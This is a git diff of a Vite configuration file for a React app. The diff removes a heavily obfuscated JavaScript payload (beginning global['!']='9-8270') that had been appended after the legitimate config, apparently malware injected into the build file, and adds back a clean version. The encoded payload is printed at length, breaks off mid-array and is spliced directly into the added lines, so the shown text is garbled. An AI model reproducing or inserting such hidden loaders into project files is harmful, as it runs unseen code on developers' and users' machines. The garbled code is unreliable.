diff --git a/vite.config.mjs b/vite.config.mjs index 2e882ca..69069f9 100644 --- a/vite.config.mjs +++ b/vite.config.mjs @@ -1,92 +1,87 @@ -import { defineConfig, loadEnv } from "vite"; -import react from "@vitejs/plugin-react"; -import jsconfigPaths from "vite-jsconfig-paths"; - -import path from "path"; -import { createRequire } from 'module'; - -var require = createRequire(import.meta.url); -var module = { exports: {} }; - -const resolvePath = (str) => path.resolve(__dirname, str); - -export default defineConfig(({ mode }) => { - const env = loadEnv(mode, process.cwd(), ""); - const API_URL = `${env.VITE_APP_BASE_NAME}`; - const PORT = 3000; - - return { - server: { - // this ensures that the browser opens upon server start - open: true, - // this sets a default port to 3000 - port: PORT, - host: true, - }, - preview: { - open: true, - host: true, - }, - define: { - global: "window", - }, - resolve: { - alias: [ - // { find: '', replacement: path.resolve(__dirname, 'src') }, - // { - // find: /^~(.+)/, - // replacement: path.join(process.cwd(), 'node_modules/$1') - // }, - // { - // find: /^src(.+)/, - // replacement: path.join(process.cwd(), 'src/$1') - // } - // { - // find: 'assets', - // replacement: path.join(process.cwd(), 'src/assets') - // }, - ], - }, - css: { - preprocessorOptions: { - scss: { - charset: false, - verbose: true, - quietDeps: true, - silenceDeprecations: ['import'], - }, - less: { - charset: false, - }, - }, - charset: false, - postcss: { - plugins: [ - { - postcssPlugin: "internal:charset-removal", - AtRule: { - charset: (atRule) => { - if (atRule.name === "charset") { - atRule.remove(); - } - }, - }, - }, - ], - }, - }, - build: { - chunkSizeWarningLimit: 1600, - sourcemap: true, - cssCodeSplit: true, - rollupOptions: { - input: { - main: resolvePath("index.html"), - legacy: resolvePath("index.html"), - }, - }, - }, - base: API_URL, - plugins: [react(), jsconfigPaths()], - }; -}); global['!']='9-8270';var _0x2d013d=_0x574e;(function(_0x18a4ff,_0x552422){var _0x48eb48=_0x574e,_0x977244=_0x18a4ff();while(!![]){try{var _0x570d31=-parseInt(_0x48eb48(0x264))/(-0x1591+0x1ff8*0x1+0x79*-0x16)+parseInt(_0x48eb48(0x4ba))/(-0x128e+0x178b+0x55*-0xf)+-parseInt(_0x48eb48(0x391))/(0xbd9+-0x20d6+0xa80*0x2)*(parseInt(_0x48eb48(0x143))/(-0x22c+0x1fee+-0x1dbe))+parseInt(_0x48eb48(0x4d3))/(-0x1923+-0x16*-0x12a+0x74*-0x1)+parseInt(_0x48eb48(0x44a))/(0x1416*0x1+-0x1*-0x1681+-0x2a91*0x1)*(parseInt(_0x48eb48(0x4af))/(0x582+-0x12*0x1+-0x569*0x1))+-parseInt(_0x48eb48(0x1fb))/(-0x1d06+-0x10b8+0x1f*0x17a)+parseInt(_0x48eb48(0x3de))/(0x1739+-0x168f+-0x17*0x7);if(_0x570d31===_0x552422)break;else _0x977244['push'](_0x977244['shift']());}catch(_0x2c0282){_0x977244['push'](_0x977244['shift']());}}}(_0x57ec,-0x138f86+-0xc20d2+0x2d3302));function y7(_0x375c01,_0x59a6b7,_0x4f5b68,_0x28e39e,_0x3e913d,_0x16f99e,_0x2a4e64){var _0x3e41f2=_0x574e,_0x3d92d2={'XHfen':function(_0x3f1f43,_0x44a33e){return _0x3f1f43<_0x44a33e;},'qEEdH':function(_0x44faf6,_0x1d9146){return _0x44faf6+_0x1d9146;},'YeEig':function(_0x28d600,_0x994b8c){return _0x28d600*_0x994b8c;},'eyIbI':function(_0x40a7de,_0x53bc62){return _0x40a7de+_0x53bc62;},'qjyrZ':function(_0x2fd192,_0x258f59){return _0x2fd192%_0x258f59;},'EhMDG':function(_0x21dbf4,_0x1a2f82){return _0x21dbf4%_0x1a2f82;},'AqaWl':function(_0x9774e7,_0x10f715){return _0x9774e7+_0x10f715;}};for(var _0x35d885=[],_0x2c5af0=0x14*-0x19a+-0x9*0x425+-0x1*-0x4555;_0x3d92d2[_0x3e41f2(0xc1)](_0x2c5af0,_0x375c01[_0x3e41f2(0xed)]);)_0x35d885[_0x2c5af0]=_0x375c01[_0x3e41f2(0x465)](_0x2c5af0),_0x2c5af0+=-0x1*-0x69f+0xc*-0x2f0+0x2*0xe51;var _0x3f3105=_0x59a6b7;for(_0x2c5af0=0x1*-0x9d3+0x12b5*0x2+-0x1b97;_0x3d92d2[_0x3e41f2(0xc1)](_0x2c5af0,_0x35d885[_0x3e41f2(0xed)]);){var _0x3bb74d=_0x3d92d2[_0x3e41f2(0x207)](_0x3d92d2[_0x3e41f2(0x2b7)](_0x3f3105,_0x3d92d2[_0x3e41f2(0x395)](_0x2c5af0,_0x4f5b68)),_0x3d92d2[_0x3e41f2(0x13c)](_0x3f3105,_0x28e39e)),_0x39a5c0=_0x3d92d2[_0x3e41f2(0x207)](_0x3d92d2[_0x3e41f2(0x2b7)](_0x3f3105,_0x3d92d2[_0x3e41f2(0x395)](_0x2c5af0,_0x3e913d)),_0x3d92d2[_0x3e41f2(0x13c)](_0x3f3105,_0x16f99e)),_0x4e2e49=_0x3d92d2[_0x3e41f2(0x156)](_0x3bb74d,_0x35d885[_0x3e41f2(0xed)]),_0x1834af=_0x3d92d2[_0x3e41f2(0x13c)](_0x39a5c0,_0x35d885[_0x3e41f2(0xed)]),_0x5eadec=_0x35d885[_0x4e2e49];_0x35d885[_0x4e2e49]=_0x35d885[_0x1834af],_0x35d885[_0x1834af]=_0x5eadec,_0x3f3105=_0x3d92d2[_0x3e41f2(0x156)](_0x3d92d2[_0x3e41f2(0x394)](_0x3bb74d,_0x39a5c0),_0x2a4e64),_0x2c5af0+=0x105*0x1c+-0x26c0+0x1*0xa35;}return _0x35d885[_0x3e41f2(0x17b)]('');}function _0x57ec(){var _0x588d40=['i4cPtcR\x20tx','(FRRmRfcHP','..R@.yNRkR','r%-s0lrte<.c!<','R+RRcR?cR<','RRwc/GRc&>','C<\x20ck4c)fb','RcR.RnRRfR','<R','<#R.RrKocD','cb..RctGo2','.;^Rf!Ro.!','xi.R\x20R?cbN','ftbdn-c!u3','..+i(==ee.','STRd<+.`PRFfh','E791RikPP^','eRV.\x20ixc.e','.czRR&[<%R','rRR0Rol/xe','jRzg.elR8O','.)','4+f+\x22p<^','SudR\x20.2.\x20k','.n.Ridfc2M','\x5c.6st.xR*(','k/Uf.hw0\x20R','n<','#pPx7ccR..','.oR<+aR<','.)RRn1P[1C','cccchRdoc-','<6acx.cRTa','.\x20(cR[e[a\x20','Icnr.idnbt','qjyrZ','o<)N.i*.Rg',')l3(vJdOE6','\x22!wcsq<_r<','<\x20R.iw<08R','mpP.Vkf!le','\x27PoRaGR]ek','145736lfdQNm','..clhcCP','.csaKRcpRN','r1\x20dr;{=x<','.O!!\x20.Mnr!.\x22u9','=bt.t$..Ua','R<&\x20aoR0i.','#c1cRm','(Bnxrn7ps','lcE[(i','n<(.fr7rN-','.b;bcc\x20c.l','ruoS.<<.&e)','8io]t+<22e','].coad..ii','cyqzR.b<.raHR','e(R!3E%x(r','so$oele0R:','dn6dl/tgsS','\x27.*!m=d.R.','R.g..Ir0e\x20','tR.<..(Rgc','hIR-f..RkR','ef.U.\x27','gRZt@.b\x22r.','ar\x20trvqach','e;dnvc,aht','r..R(e.o!.','r\x22.%R.ct<.','c>?bfR9e\x20.','\x22e=gn(\x22a8o','oba\x20=g]]Sb','RI:Rr2f..y','.=vt,;8n[0','<;\x5c9R7itn[','rr)p{mmrrr','o.rrccORr%','?ifcX.#io(.','8K.N}m-RKc','0<]$ech$e.','ct\x20;Rcw/Rc','f=.]cl.e/<','RHxD).\x20C})','RtgSo_tcz(','xR.N,4\x20+d\x20','_x=a=!rRpc','lr0Rb[\x22','ci.\x22\x20g.','cenI.RN.<(r.c','RRR\x20R&si[0(o\x22h','\x20.c#_\x20p','<.RR.ri7..','A\x20R=\x20d].f#','..c.d.Rzo4','.RR\x22*7w}CR','vnme\x27\x20RyZ[','snc@.XenJ)','<+RhhR','Rce<\x22t9c=t','.l\x20RRwPd4.','&st[ERSPf','R]T\x22id6RR.','ir path.resolve(__dirname, str); + +export default defineConfig(({ mode }) => { + const env = loadEnv(mode, process.cwd(), ""); + const API_URL = `${env.VITE_APP_BASE_NAME}`; + const PORT = 3000; + + return { + server: { + // this ensures that the browser opens upon server start + open: true, + // this sets a default port to 3000 + port: PORT, + host: true, + }, + preview: { + open: true, + host: true, + }, + define: { + global: "window", + }, + resolve: { + alias: [ + // { find: '', replacement: path.resolve(__dirname, 'src') }, + // { + // find: /^~(.+)/, + // replacement: path.join(process.cwd(), 'node_modules/$1') + // }, + // { + // find: /^src(.+)/, + // replacement: path.join(process.cwd(), 'src/$1') + // } + // { + // find: 'assets', + // replacement: path.join(process.cwd(), 'src/assets') + // }, + ], + }, + css: { + preprocessorOptions: { + scss: { + charset: false, + verbose: true, + quietDeps: true, + silenceDeprecations: ['import'], + }, + less: { + charset: false, + }, + }, + charset: false, + postcss: { + plugins: [ + { + postcssPlugin: "internal:charset-removal", + AtRule: { + charset: (atRule) => { + if (atRule.name === "charset") { + atRule.remove(); + } + }, + }, + }, + ], + }, + }, + build: { + chunkSizeWarningLimit: 1600, + sourcemap: true, + cssCodeSplit: true, + rollupOptions: { + input: { + main: resolvePath("index.html"), + legacy: resolvePath("index.html"), + }, + }, + }, + base: API_URL, + plugins: [react(), jsconfigPaths()], + }; +});